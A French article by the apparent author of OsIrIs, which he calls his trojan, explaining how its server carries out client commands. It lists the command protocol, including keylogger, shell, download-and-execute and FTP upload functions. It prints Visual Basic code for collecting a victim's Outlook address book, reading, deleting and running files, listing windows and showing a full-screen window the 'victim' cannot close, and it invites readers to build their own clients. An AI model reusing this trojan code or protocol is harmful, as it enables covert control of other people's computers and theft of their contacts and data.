Dans un article précédent,
j'avais présenté le programme client/serveur OsIrIs
en détaillant certaines de ses fonctions. Dans cet article,
je vais expliquer comment le serveur exécute les commandes
envoyées par le client.
Les sources servant de support à cet article sont disponibles
en téléchargement sur le site http://bigbang44.free.fr
Pour la petite histoire, à
la base, OsIrIs est un trojan. Ce fut le premier [ et le seul ;)
] que j'ai codé. Au début, les fonctions installées
sur le serveur étaient du style ouvrir/fermer le CD,
MessageBox, ... Par la suite, j'ai ajouté les fonctions
fun. Ensuite et enfin, les fonctions d'administrations que
je développe majoritairement
dans cet article. Peu de temps après l'avoir essayé,
la personne servant de serveur m'a conseillé de le mettre
en téléchargement sur le net. J'ai mis du temps à
me décider, mais voila, il y est tout de même. Ensuite,
j'ai amélioré les fonctions d'administration à
distance et puis j'ai diffusé les sources, mais seulement
celles du serveur, de manière à limiter le piratage
des scripts kiddies. En espérant que cet outil vous sera
utile.
Bonne lecture.
Dans des applications comportant
un client et un serveur, un protocole de communication est obligatoire.
Comme je l'avais déjà évoquer dans l'article précédent,
pour que le serveur achemine les informations reçues vers la
bonne fonction, on lui indique par deux caractères placés
avant le début des données. Un exemple ? Pour afficher
une message box à l'écran du serveur avec "OsIrIs
and Bigbang" pour texte, "title" pour titre, et avec
un unique bouton <OK>, le client enverra cette chaine de caractère
: "03OsIrIs and Bigbang§title§1" . Alors, explication
: le "O3", c'est l'indicateur de fonction, "OsIrIs and
Bigbang", vous le savez, c'est le texte à afficher, title,
c'est le titre, et le "1", c'est ce qui permet d'afficher
le bouton <OK>. Quant aux "§", ils permettent de
délimiter chacun des paramètres. Vous me demanderez pourquoi
il n'y en a pas entre "03" et le texte ? C'est tout simple,
l'indicateur de fonction est fixe à deux caractères, donc
nous connaissons sa longueur, et on sait donc où commence le
texte. Une autre question que vous pourriez me poser : "Pourquoi
ne pas tout simplement envoyer la chaine : msgbox("OsIrIs and Bigbang",1,"title")
?". Une explication se cache également derrière.
La chaine doit être la plus courte possible afin de gagner du
temps lors du transport des données entre les deux PCs. A titre
indicatif, comme pour le "03" de la MessageBox, voici une
liste des fonctions présentes dans la source du serveur OsIrIs
v2.1 (seules les fonctions actives sont indiquées) :
- 01: CD
- 03: MessageBox
- 04: InputBox
- 05: ICQ
- 06: AIM
- 07: Shell
- 08: Panneau de Configuration
- 09: Lecteurs
- 10: Lire un fichier
- 11: Éxécuter un fichier
- 12: Supprimer un fichier
- 15: Outlook
- 16: MP3
- 17: Keylogger
- 18: Liste des fenêtres actives
- 19: Registre
- 20: Souris
- 21: Chat
- 22: Tic-Tac-Toe
- 24: Fichiers INI
- 25: Nombre de boutons sur la souris
- 26: Inverser les boutons
- 27: Danse du clavier
- 28: Fermer une fenêtre
- 29: Windows
- 30: Déplacement de fenêtre
- 31: Arborescence
- 33: Matrix
- 34: Envoyer des touches au clavier
- 35: Winamp
- 36: Télécharger un exécuter un fichier
- 37: Télécharger un fichier
- 38: Fenêtres
- 39: Envoyer un fichier sur FTP
- 40: Curseur
- 41: Nom de l'ordinateur
- 42: Fenêtres 2
- 43: Imprimante
- 47: Paramètres de connexion
- 48: Dernières recherches
- 49: Temps depuis lequel Windows tourne
- 50: Décomposition de l'écran
- 51: Yahoo! Messenger
- 52: MSN Messenger
- 53: Déconnexion d'OsIrIs
- 56: Outlook 3
- 57: Message au démarrage de Windows
- 58: Écran de veille et affichage
Remarque : pour peu que vous
sachiez programmer, il vous est possible de coder votre client qui utiliserait
le protocole OsIrIs et permettrait d'utiliser les fonctions installées
sur le serveur. En continuant dans cette direction, il serait possible
de créer son client et d'étendre le protocole OsIrIs pour
qu'il exécute de nouvelles
fonctions installées sur le serveur par vos soins.
Je vais maintenant détailler certains
points essentiels du code.
Cette fontion permet de mettre un message
au démarrage de Windows. Elle ajoute simplement deux clés
dans le registre :
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeTexte
(ceci correspondant au texte à afficher)
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption
(et ceci étant le titre de la fenêtre affichée)
Le code permettant l'affichage de cette
fonction est listé ci-dessous :
titre = Split(Mid$(data,
4), "§")(0)
corps = Split(Mid$(data, 4), "§")(1)
If titre <> "" And corps <> "" And
titre <> "(vide)" And corps <> "(vide)"
Then
wsh.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeTexte",
corps
wsh.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption",
titre
End If
Explication du code :
Les deux premières lignes récupèrent le texte et
le titre envoyés par le client.
Si les chaines ne sont pas vides, l'objet wsh (déclaré
au début de la procédure, permettant ainsi son utilisation
dans toutes les branches du Select Case) fixe les clés du registre
aux valeurs fournies par le client.
Cette fonction permet simplement de
récupérer le nom de l'ordinateur du serveur. Son code
est listé ci-dessous :
Private Declare
Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA"
(ByVal lpBuffer As String, nSize As Long) As Long '
à déclarer hors de toutes procédures
Dim stTmp As
String
stTmp = Space$(250)
Call GetUserName(stTmp, 251)
sck.SendData "41" & Mid$(stTmp, 1, InStr(1, stTmp,
Chr$(0)) - 1)
Explication du code : - La fonction GetUserName
doit être déclarée hor de toutes procédures
- La variable stTmp
(pour String Tampon, un buffer finalement) est déclarée
puis initialisée
- L'appel à la fonction GetUserName
récupère le nom de l'ordinateur dans le buffer
- la fonction Mid$()
extrait le nom de la chaine retournée par la fonction GetUserName
dans stTmp,
et le tout est renvoyé au client
Cette fonction permet au client de
savoir qu'elles sont les fenêtres actives à l'écran
du serveur. Cette fonction peu être très utile, par exemple,
dans le cas d'une administration à distance. Le principe en est
très simple : récupérer le handle des fenêtres,
leur titre et envoyer ces informations au client. Le code est listé
ici :
Dim hWnd As
Long
Dim Titre_Fenetre As String * 255
Dim TitreFen As String
Dim i As Integer
Dim list1 As String
Dim j As String
list1 = vbNullString
hWnd = GetWindow(GetDesktopWindow(),
5)
i = 1
j = "0"
Do While (Not IsNull(hWnd)) And (hWnd <> 0)
Titre_Fenetre = String(255, 0)
Ret = GetWindowText(hWnd, Titre_Fenetre, 255)
If Titre_Fenetre <> String(255, 0) Then
If IsWindowVisible(hWnd) = 1 Then
TitreFen = Titre_Fenetre
TitreFen = Left(TitreFen, Ret)
j = j + 1
If Val(j) < 10 Then j = "0" & j
list1 = list1 & TitreFen & " [ " & hWnd
& " ]§"
End If
End If
hWnd = GetWindow(hWnd,
2)
Loop
Form1.sck.SendData
"18" & j & list1
Explication du code :
- Les 6 premières lignes déclarent les variables dont
la fonction a besoin.
- "list1 = vbNullString" permet de fixer à une chaîne
vide le contenu de la chaîne qui contiendra la future liste des
fenêtres.
- Ensuite, le programme récupère le handle du bureau.
- i et j sont initialisés pour la boucle While
- La boucle justement, qui passe en revue toutes les fenêtres
- " Titre_Fenetre = String(255, 0) " ceci formate la chaîne
destinée à recevoir le titre de la fenêtre (d'où
le nom ;)
- L'appel à GetWindowText récupère le titre de
la fenêtre et renvoie dans Ret le nombre de caractères
constituant le titre
- Le programme vérifie ensuite si le titre n'est pas vide, et
si la fenêtre est visible
- Les deux lignes suivantes ôtent les caractères finaux
inutiles du titre de la fenêtre pour finalement stocker le nom
de la fenêtre dans TitreFen
- j est un compteur sur deux chiffres, expliquant ainsi la présence
du bloc If
- On utilise ensuite la variable list1 pour stocker le titre de la fenêtre,
qui contiendra le titre de toutes les autres. list1 sera de la form
:
titre1 [ 1234 ]§titre2 [ 2345 ]§titre3 [ 3456 ]§"
etc.
- Le nouvel appel à GetWindow permet de prendre le handle de
la fenêtre suivante et avec la boucle While, on stocke son titre
dans list1 et ainsi de suite jusqu'à épuisement des fenêtres
actives
- A la sortie de la boucle, le serveur envoie la chaîne list1
contenant tous les titres et les handles, précédés
de "18" ( le numéro de la fonction) et du nombre de
titres que contient list1 pour que le client sache comment traiter les
informations.
Pour lire un fichier, le serveur d'OsIrIs
utilise le VBS.
'
fso a déjà été déclaré
et initialisé dans le début de la procédure,
ce n'est donc pas
' nécessaire de le remettre ici. Il n'est là que
pour les besoins de l'article ;)
Set fso = CreateObject("Scripting.FileSystemObject")
Explication du code :
- La première ligne ouvre le fichier dont le chemin est passé
par le client.
- La deuxième ligne envoie directement au client la taille du
fichier ( par la fonction FileLen ) et son contenu, que file
lit avec
File.ReadAll - Le programme feme finalement le fichier
précédemment ouvert.
Dans la continuité des fonctions
d'administration à distance, celle-ci peut également être
utile : elle permet la suppression d'un fichier. Le code est très
simple, mail il faut connaître la fonction VB de suppression de
fichier qui est : Kill("c:\toto.txt")pour
supprimer le fichier c:\toto.txt (bien sur ;)
L'appel à la fonction ShellExecuteA
permet l'exécution de n'importe quel fichier. Si c'est un exécutable,
il est lancé, sinon, il est lancé avec le prog qui lui
est associé (ex: fichiers textes -> Notepad)
La fonction est déclarée comme suit dans le fichier shellapi.h
: HINSTANCE WINAPI ShellExecuteA(HWND,LPCSTR,LPCSTR,LPCSTR,LPCSTR,INT);
Le premier paramètre précise une fenêtre parent
Le deuxième, a pour valeur, soit "quot; pour l'ouverture
de fichiers ( ce qui est utilisé dans le serveur d'OsIrIs ),
soit "print" pour l'impression de fichiers, soit encore "explore"
pour parcourir un dossier.
Les trois paramètres suivants servent si le fichier est un exécutable.
Le dernier est à zéro si le fichier n'est pas exécutable.
Pour les besoins d'OsIrIs, deux paramètres
seulement servent : le deuxième et le troisième, et en
VB, la syntaxe d'appel de cette fonction est la suivante : Call ShellExecuteA(0, "quot;,"c:\toto.txt",
"", "", 10)
pour l'ouverture du fichier c:\toto.txt
Cette fonction permet de récupérer
le carnet d'adresses du serveur pour peu qu'Outlook soit installé.
Le code repose sur du VBS, utilisé notamment dans le célèbre
virus destructeur : I Love You. Si vous vous interresser au VBS l'étude
de son code est très instructif. Voici le code de la fonction
d'OsIrIs :
Set outlook
= CreateObject("Outlook.Application")
Set mapi = outlook.GetNameSpace("MAPI")
For Each C3 In mapi.AddressLists
If C3.AddressEntries.Count <> 0 Then
For C2 = 1 To C3.AddressEntries.Count
Set C8 = C3.AddressEntries(C2)
If C2 = 1 Then
C1 = C8.Address
Else
C1 = C1 & ";" & C8.Address
End If
Next
End If
Next
Explication du code :
- Les deux premières lignes créer deux objets destiner
à accéder aux carnet d'adresse de Outlook.
- La première boucle For associe tous les éléments
de mapi.AddressLists à C3 et exécute la boucle suivant
le nombre d'éléments.
- Le bloc If vérifie qu'il y a au moins une adresse
- Si oui, la deuxième boucle For est exécutée autant
de fois qu'il y a d'adresses
- C8 stocke l'entrée corrspondanten et ensuite C1 stocke les
adresses trouvées. (le bloc If permet la gestion du caractère
séparateur " ; " entre les différentes adresses)
- Finalement, c'est la chaine C1 qui contient les adresses sous la forme
mail1;mail2;mail3;...
Rien de bien compliqué dans
cette fonction, mais quelques infos sont nécessaires pour comprendre.
En gros, Windows utilise des fonctions telles que SendMessage() pour
communiquer avec les fenêtres des programmes ouverts. Un exemple
dans notre cas : Winamp est démarré, on récupère
le handle de la fenêtre (chaque fenêtre de Windows possède
son propre handle, ce qui permet de la caractèriser). Voici le
code de la fonction Winamp d'OsIrIs :
Dim hwndwinamp
As Long
hwndwinamp = FindWindow("Winamp v1.x", vbNullString)
Select Case Mid$(data, 3, 1)
Case Is = "0" 'handle de la fenetre
Form1.sck.SendData "351" & hwndwinamp
Case Is = "1" 'jouer
SendMessage hwndwinamp, 273, 40044, 0
Case Is = "2" 'Pause
SendMessage hwndwinamp, 273, 40046, 0
Case Is = "3" 'arreter
SendMessage hwndwinamp, 273, 40047, 0
Case Is = "4" 'précédente
SendMessage hwndwinamp, 273, 40044, 0
Case Is = "5" 'suivante
SendMessage hwndwinamp, 273, 40048, 0
Case Is = "6" 'Quitter Winamp
SendMessage hwndwinamp, 273, 40001, 0
Case Is = "7" 'Toujours au dessus
SendMessage hwndwinamp, 273, 40019, 0
Case Is = "8" 'Double Taille
SendMessage hwndwinamp, 273, 40165, 0
Case Is = "9" 'Sous la firme d'une
barre
SendMessage hwndwinamp, 273, 40064, 0
Case Is = "A" 'Cache Winamp
SendMessage hwndwinamp, 273, 40258, 0
Case Is = "B" 'Playlist
SendMessage hwndwinamp, 1024, 3, 120
A1 = wsh.regread("HKEY_CLASSES_ROOT\Winamp.File\shell\command\")
path_pls = Trim(Mid$(A1, 2, Len(A1) - 8)) & "m3u"
trale = MakePLSString(path_pls)
Form1.sck.SendData "352" & trale
Case Is = "C"
SendMessage hwndwinamp, 1024, Mid$(data, 4), 121
PostMessage hwndwinamp, 273, 40045, 0
Case Is = "D"
If Mid(data, 4) > 0 And Mid(data, 4) < 255 Then
SendMessage hwndwinamp, 1024, CByte(Mid(data, 4)), 122
End If
Case Else 'Si Erreur
If Err.Number <> 0 Then
Form1.sck.SendData "35" & Err.Number
End If
End Select
Explication du code:
- On déclare une variable de type Long qui contiendra le handle
de la fenêtre de Winamp.
- Pour récupérer un handle en fonction du titre de la
fenêtre, on utilise la fonction FindWindow(). Cette fonction renvoie
le handle de la fenêtre visée. Ici, on le stocke dans la
variable hwndwinamp déclarée précédemment.
- Le blck Select Case qui suit oriente la fonction demandée en
fonction de la chaine envoyée par le client (cf la fonction Matrix).
A chaque demande, on envoie un message à la fenêtre de
Winamp par l'intermédiaire de la fonction SendMessage(). Pour
ceux qui connaissent le mode de communication Win32, c'est ici wParam
qui varie alors que dans notre cas, lParam est toujours à 0.
Vous pouvez si vous le souhaitez ajouter d'autre commandes. Pour cela,
il faut que vous connaissiez le code correspondant à envoyer
dans lParam (le troisième paramètre de SendMessage() ).
- Le dernier cas un un peu particulier puiqu'il doir retourner le contenu
de la Playlist. Pour cela, on stocke dans A1 le chemin de Winamp que
l'on a lu dans le registre. Au path, on vire l'extension, et on ajoute
"m3u", car c'est ce fichier qui contient la Playlist. La fonction
MakePLSString() récupère le contenu de la playlist et
la place dans trale puis le serveur l'envoie au client en précisant
avec le "352" qu'il envoie la playlist.
Pour se faire avertir de la connection
du serveur à Internet, il faut rajouter la procédure ci-dessous
dans le code d'un timer (ici, TmrIsConnected) réglé pas
exemple à un interval de 30 secondes.
Public Declare
Function InternetGetConnectedState Lib "wininet.dll"
(ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long '
à déclarer hors de toutes procédures
Private Sub
TmrIsConnected_Timer()
If IsNetConnectViaModem = True Then
' Appel à la fonction de notify
TmrIsConnected.Enabled = False
End If
End Sub
Public Function
IsNetConnectViaModem() As Boolean
Dim dwflags As Long
Call InternetGetConnectedState(dwflags, 0&)
IsNetConnectViaModem = dwflags And &H1
End Function
Explication du code :
- La déclaration de InternetGetConnectedStatedoit se faire dans la partie
adéquate, hors de toutes
procédures.
- Le timer appel la fonction IsNetConnectViaModem
pour savoir si une connection existe. Celle-ci renvoie une variable
de type bool
(vrai ou faux)
- Dans le bloc If,
il faudrait faire un appel à une fonction qui avertirait le client
de la connection du serveur. Afin d'éviter que le serveur avertisse
le client toutes les 30 secondes, il faut que le timer se désactive
lui-même lorsque la connection existe et que la notify s'est déroulée.
Dans ce cas, la chaîne reçue
par le serveur est de ce style : 331Hello Neo". Par le premier
Select Case, le serveur détermine quelle fonction est demandée.
Ensuite, un deuxième Select Case intervient pour savoir si l'on
demande l'affichage ou l'arrêt de la Matrice. Dans notre exemple,
on l'affiche par "1". Les instructions correspondantes sont
listées ici :
'
Instruction dans le code de le form1
matrix.Label2.Caption = Split(Mid$(data, 4), "|")(0)
matrix.Show
matrix.Timer2 = True
Explication du code :
- La première ligne place le texte à afficher dans le
label2 de la form de Matrix,
- matrix.Show
commande l'apparition de la form matrix
- matrix.Timer2
= True déclenche le début
de l'apparition du texte.
Et maintenant, le code associé
à la form matrix est copié ci-dessous :
'la
form en question est la form Matrix
Dim now As Long,
nb As Long
Private Sub
Form_Click()
Exit Sub
End Sub
Private Sub
Form_KeyPress(KeyAscii As Integer)
On Error GoTo fin
If KeyAscii
= 27 Then
Exit Sub
ElseIf KeyAscii = 9 Then
Exit Sub
ElseIf KeyAscii = 32 Then
Exit Sub
Else
Exit Sub
End If
fin:
End Sub
Private Sub
Form_KeyUp(KeyCode As Integer, Shift As Integer)
If KeyCode >= 32 And KeyCode <= 122 Then
Label1.Caption = Label1.Caption & Chr(KeyCode)
nb = nb + 1
ElseIf KeyCode = 13 Then
Form1.sck.SendData "33" & Mid$(Label1, Len(Label1)
- nb + 1)
nb = 0
now = 0
Label1 = ""
ElseIf KeyCode = 8 Then
If nb > 0 Then
Label1 = Mid$(Label1.Caption, 1, Len(Label1.Caption) - 1)
nb = nb - 1
End If
End If
End Sub
Private Sub
Form_Load()
Dim Retour As Long
Dim a As Boolean
Private Sub
Form_MouseMove(Button As Integer, Shift As Integer, X As Single,
Y As Single)
ShowCursor (bShow = 1)
End Sub
Private Sub
Label1_Click()
Exit Sub
End Sub
Private Sub
Label1_MouseMove(Button As Integer, Shift As Integer, X As Single,
Y As Single)
ShowCursor (bShow = 1)
End Sub
Private Sub
Timer2_Timer()
Label1.Caption = Left$(Label2, now)
now = now + 1
If Label1 = Label2 Then
Label1 = Label1 & vbCrLf & ">> "
Timer2 = False
End If
End Sub
Alors, explication du code :
- Dim
now As Long, nb As Long : Déclaration
des variables générales qui vont servir pour la matrice
- La procédure Form_Click()
permet d'éviter à la victime de tenter quoi que ce soit
pour fermer la fenêtre. Avec ces lignes, chaques clicks sur la
form ne produiront aucun effets.
- La procédure suivante, Form_KeyPress(KeyAscii
As Integer), permet la gestion des frappes
de clavier. Ici, rien n'est déclenché, mais c'est pour
des éventuelles modifications que je l'ai installé. 27,
9, 32 correspondent aux codes ASCII correspondants respectivement <Escape>
, <Tabulation> et <Space>. Et si jamais une erreur survient
(on se sait jamais) rien ne se produira, grâce à On
Error GoTo fin
- Cette procédure, Form_KeyUp(KeyCode
As Integer, Shift As Integer), permet la
gestion des frappes de clavier, de la même manière que
la procédure précédente, mais celle-ci est déclenchée
lorsque la touche est relachée et non pas baissée. Le
premier bloc If
permet de limiter ces frappes. En fait, il filtre les caractères
qui vont être affichés à l'écran, pour que
le serveur puisse répondre au client, par l'intermédiaire
de la matrice. Donc si le caractère de la touche frappé
est compris entre 32 et 122 (inclus), le caractère va être
affiché, si le caractère tapé est <Enter>,
le texte tapé précédemment sera envoyé au
client, si le caractère est <Return>, le serveur à
fait une faute de frappe et donc on retire le caractère affiché.
- La procédure Form_Load()
est celle qui est exécutée dès que la form est
affiché. L'appel de SetWindowPos
a pour rôle de placer la form au premier plan, de manière
à ce que aucune autre fenêtre ne la recouvre. Les 6 lignes
suivantes gèrent la disposition des éléments. Les
2 premières fixent la taille de la form à la taille de
l'écran et les 4 suivantes, fixe la taille du label qui accueille
le texte ("Hello Neo", par exemple).
- Les procédures Form_MouseMove()
et Label1_MouseMove()
permettent de cacher le curseur de la souris, par l'appel de ShowCursor()
- Label1_Click()
gère les clicks sur le label (étant donné qu'il
recouvre toute la form)
- Et le plus important, Timer2_Timer()
permet l'affichage du texte caractère par caractère, ceci
dans les deux premières lignes. Quant aux autres, le bloc If
teste si le texte a été entièrement affiché,
et prépare la réponse éventuelle de la victime
en affichant ">>" et en arretant le Timer2.
Le code étant du VB, il n'est
pas d'une grande difficulté de l'apprendre et ceci en très
peu de temps. Pour commencer dans le monde de la programmation, ce langage
est tout à fait adapté et sert en quelques sortes de bretelle
d'accès à des langages plus évolués tels
que le C/C++, ASM et autres...
Les sources servant de support à
cet article sont disponibles sur le site http://bigbang44.free.fr.
Vous pourrez constater, à votre plus grande joie je suppose ;)
, que le code est largement commenté. Ce sont des commentaires
que j'ai mis lors du développement du serveur que j'ai laissé
pour vous aider. Ne pensant pas tout de suite à dévoiler
les sources du serveur, ces commentaires n'étaient destinés
qu'à moi : ils sont donc en français ;)
Pour ceux qui, maladroitement ou pas,
aurait lancé le serveur et se serait infecté, j'ai
codé
un programme qui permet la désinfection automatique, sans être
obligé de tout supprimer manuellement. Juste au cas où,
mais il peut dépanner ;). Ce programme se trouve également
sur mon site.
Pour toutes remarques, suggestions
ou commentaires, postez sur le forum de www.securityhack.net
Voila, cet article est fini. Merci de
l'avoir lu jusqu'au bout ;)